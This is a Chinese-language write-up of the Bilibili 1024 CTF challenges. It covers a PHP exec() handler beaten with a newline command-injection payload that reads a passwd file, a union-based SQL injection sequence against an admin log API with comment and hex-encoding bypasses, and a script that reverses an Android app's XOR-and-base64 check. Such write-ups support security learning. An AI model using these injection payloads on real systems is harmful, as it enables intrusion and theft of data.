一年一度的BILIBILICTF又开始了。
第一题
1024程序员节,大家一起和2233参与解密游戏吧~
happy_1024_2233:
e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d364
0408abca7deabb96a58f50471171b60e02b1a8dbd32db156
第二题
配置错误导致webpack泄露
第三题
<?php
/*
bilibili- ( ゜- ゜)つロ 乾杯~
uat: http://192.168.3.2/uat/eval.php
pro: http://security.bilibili.com/sec1024/q/pro/eval.php
*/
$args = @$_GET['args'];
if (count($args) >3) {
exit();
}
for ( $i=0; $i<count($args); $i++ ){
// 限制为了字符、数字和下划线
if ( !preg_match('/^\w+$/', $args[$i]) ) {
exit();
}
}
// todo: other filter
// 需要传入数组
$cmd = "/bin/2233 " . implode(" ", $args);
exec($cmd, $out);
for ($i=0; $i<count($out); $i++){
echo($out[$i]);
echo('<br>');
}
?>
换行(%0a)合法,且可跳出/bin/bash
,扫目录
// $args = array("Bili%0a","ls");
/bin/2233 Bili%0a
ls
?args[0]=Bili%0a&args[1]=ls
// 返回如下
1.txt
passwd
data
config
读敏感文件passwd
?args[0]=Bili%0a&args[1]=cat&args[2]=passwd
/bin/2233 Bili%0a
cat passwd
得到flag
xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx
第四题
/sec1024/q/admin/api/v1/log/list
路由下,测试user_name
字段存在注入。
{"user_id":"",
"user_name":"-1/**/or/**/1=1#",
"user_role":"",
"page":1,
"action":"",
"size":20}
表项
{"user_id":"","user_name":"-1/**/union/**/select/**/1,2,3,4,5#","user_role":"",
"page":1,
"action":"",
"size":20}
{"code":200,
"data":{
"res_list":[
{"action":"4",
"id":"1",
"time":"5",
"user_id":"2",
"user_name":"3"
}],
"total":1},
"msg":""
}
表名
"-1/**/union/**/select/**/1,2,3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#"
"time":"flag,log,user",
字段名字
引号被过滤,使用flag
的16进制形式。
"-1/**/union/**/select/**/1,2,3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#"
"time":"id",
结果
"-1/**/union/**/select/**/1,2,3,4,id/**/from/**/flag#"
获得flag
第五题
主体窗口
package com.example.test;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.util.Arrays;
public class MainActivity
extends AppCompatActivity
{
private static final String TAG = "MainActivity";
Button btn;
static
{
System.loadLibrary("Mylib");
}
public native String i();
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131427356);
paramBundle = (Button)findViewById(2131230803);
this.btn = paramBundle;
paramBundle.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
Object localObject = (EditText)MainActivity.this.findViewById(2131230730);
paramAnonymousView = (EditText)MainActivity.this.findViewById(2131230731);
String str = ((EditText)localObject).getText().toString();
localObject = paramAnonymousView.getText().toString();
// 逐比特按位异或3,而后base64加密
paramAnonymousView = Encrypt.b(Encrypt.a(str.getBytes(), 3));
localObject = Encrypt.b(Encrypt.a(((String)localObject).getBytes(), 3));
if (Arrays.equals(paramAnonymousView, new byte[] { 78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61 })) {
if (Arrays.equals((byte[])localObject, new byte[] { 89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61 }))
{
Toast.makeText(MainActivity.this, "bilibili- ( �b- �b)���� ����~", 1).show();
return;
}
}
Toast.makeText(MainActivity.this, "还差一点点~~~", 1).show();
}
});
}
}
加密部分
package com.example.test;
import android.util.Base64;
//
public class Encrypt
{
public static byte[] a(byte[] paramArrayOfByte, int paramInt)
{
if ((paramArrayOfByte != null) && (paramArrayOfByte.length != 0))
{
int i = paramArrayOfByte.length;
// 逐比特按位异或
for (int j = 0; j < i; j++) {
paramArrayOfByte[j] = ((byte)(byte)(paramArrayOfByte[j] ^ paramInt));
}
return paramArrayOfByte;
}
return null;
}
// base64加密
public static byte[] b(byte[] paramArrayOfByte)
{
return Base64.encode(paramArrayOfByte, 2);
}
}
跑出原始字符串
易知加密步骤为:逐比特按位异或3,而后base64加密,因为异或可逆。
因此解密步骤为:base64解码,逐比特按位异或3。
import base64
paramAnonymousView = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85,61]
localObject = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61]
a1 = ""
a2 = ""
for i in paramAnonymousView:
a1 += (chr(i))
for i in localObject:
a2 += (chr(i))
a1 = (base64.b64decode(a1))
a2 = (base64.b64decode(a2))
for i in a1:
print(chr(i ^ 3), end="")
print("-",end="")
for i in a2:
print(chr(i ^ 3), end="")
结果
xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx
第六题
JNI逆向,加载了SO
不太会
第七题
import re
a = []
with open('js.js', 'r') as f:
for line in f:
if re.search(r'"ip": "(.*?)"', line) is not None:
ip = re.search(r'"ip": "(.*?)"', line).group(1)
if ip not in a:
a.append(ip)
print(a)
可以跑出全部ip,显然太多了,需要筛选。
待学习更新。